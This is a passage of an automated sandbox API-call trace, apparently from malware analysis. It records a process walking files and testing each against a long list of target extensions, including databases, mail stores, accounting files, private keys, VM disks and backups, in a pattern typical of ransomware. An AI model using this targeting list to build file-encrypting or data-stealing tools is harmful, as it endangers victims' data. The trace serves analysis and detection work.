lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.029] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.029] CloseHandle (hObject=0x90) returned 1 [0103.029] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\", lpString2="Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll" [0103.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0103.029] lstrlenA (lpString="*.ems") returned 5 [0103.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.db") returned 0 [0103.029] lstrlenA (lpString="*.db") returned 4 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.030] lstrlenA (lpString="*.dbf") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0103.030] lstrlenA (lpString="*.myox") returned 6 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0103.030] lstrlenA (lpString="*.myo") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.030] lstrlenA (lpString="*.qbw") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.030] lstrlenA (lpString="*.qbb") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.030] lstrlenA (lpString="*.qbm") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.030] lstrlenA (lpString="*.qbo") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.030] lstrlenA (lpString="*.qbx") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0103.030] lstrlenA (lpString="*.qba") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0103.030] lstrlenA (lpString="*.qby") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.030] lstrlenA (lpString="*.qbj") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.030] lstrlenA (lpString="*.ofx") returned 5 [0103.030] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0103.031] lstrlenA (lpString="*.qif") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0103.031] lstrlenA (lpString="*.mye") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.031] lstrlenA (lpString="*.mbox") returned 6 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.031] lstrlenA (lpString="*.eml") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0103.031] lstrlenA (lpString="*.pst") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0103.031] lstrlenA (lpString="*.ost") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0103.031] lstrlenA (lpString="*.idx") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.031] lstrlenA (lpString="*.dbx") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0103.031] lstrlenA (lpString="*.sql") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.031] lstrlenA (lpString="*.mdb") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.031] lstrlenA (lpString="*.fdb") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0103.031] lstrlenA (lpString="*.wab") returned 5 [0103.031] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0103.032] lstrlenA (lpString="*.dat") returned 5 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0103.032] lstrlenA (lpString="*.txt") returned 5 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.032] lstrlenA (lpString="*.jpeg") returned 6 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.032] lstrlenA (lpString="*.jpg") returned 5 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.png") returned 0 [0103.032] lstrlenA (lpString="*.png") returned 5 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.php") returned 0 [0103.032] lstrlenA (lpString="*.php") returned 5 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0103.032] lstrlenA (lpString="*.cs") returned 4 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.032] lstrlenA (lpString="*.cpp") returned 5 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0103.032] lstrlenA (lpString="*.rar") returned 5 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0103.032] lstrlenA (lpString="*.zip") returned 5 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.html") returned 0 [0103.032] lstrlenA (lpString="*.html") returned 6 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0103.032] lstrlenA (lpString="*.htm") returned 5 [0103.032] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.032] lstrlenA (lpString="*.xlsx") returned 6 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0103.033] lstrlenA (lpString="*.xls") returned 5 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.033] lstrlenA (lpString="*.mp4") returned 5 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.033] lstrlenA (lpString="*.ppt") returned 5 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.033] lstrlenA (lpString="*.pptx") returned 6 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0103.033] lstrlenA (lpString="*.doc") returned 5 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0103.033] lstrlenA (lpString="*.dot") returned 5 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0103.033] lstrlenA (lpString="*.docx") returned 6 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0103.033] lstrlenA (lpString="*.7z") returned 4 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0103.033] lstrlenA (lpString="*.tar") returned 5 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0103.033] lstrlenA (lpString="*.bz2") returned 5 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0103.033] lstrlenA (lpString="*.gz") returned 4 [0103.033] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0103.033] lstrlenA (lpString="*.mkv") returned 5 [0103.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0103.034] lstrlenA (lpString="*.eml") returned 5 [0103.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0103.034] lstrlenA (lpString="*.msg") returned 5 [0103.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0103.034] lstrlenA (lpString="*.edb") returned 5 [0103.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0103.034] lstrlenA (lpString="*.accdb") returned 7 [0103.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0103.034] lstrlenA (lpString="*.odb") returned 5 [0103.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.java") returned 0 [0103.034] lstrlenA (lpString="*.java") returned 6 [0103.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0103.034] lstrlenA (lpString="*.asm") returned 5 [0103.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0103.034] lstrlenA (lpString="*.pfx") returned 5 [0103.034] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0103.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0103.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0103.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0103.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0103.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0103.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0103.035] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0103.036] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mov") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.ods") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.wav") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.037] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.flac") returned 0 [0103.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\51538a376be989e6349355e00c47741d\\Microsoft.VisualStudio.Tools.Applications.Hosting.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0103.038] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, 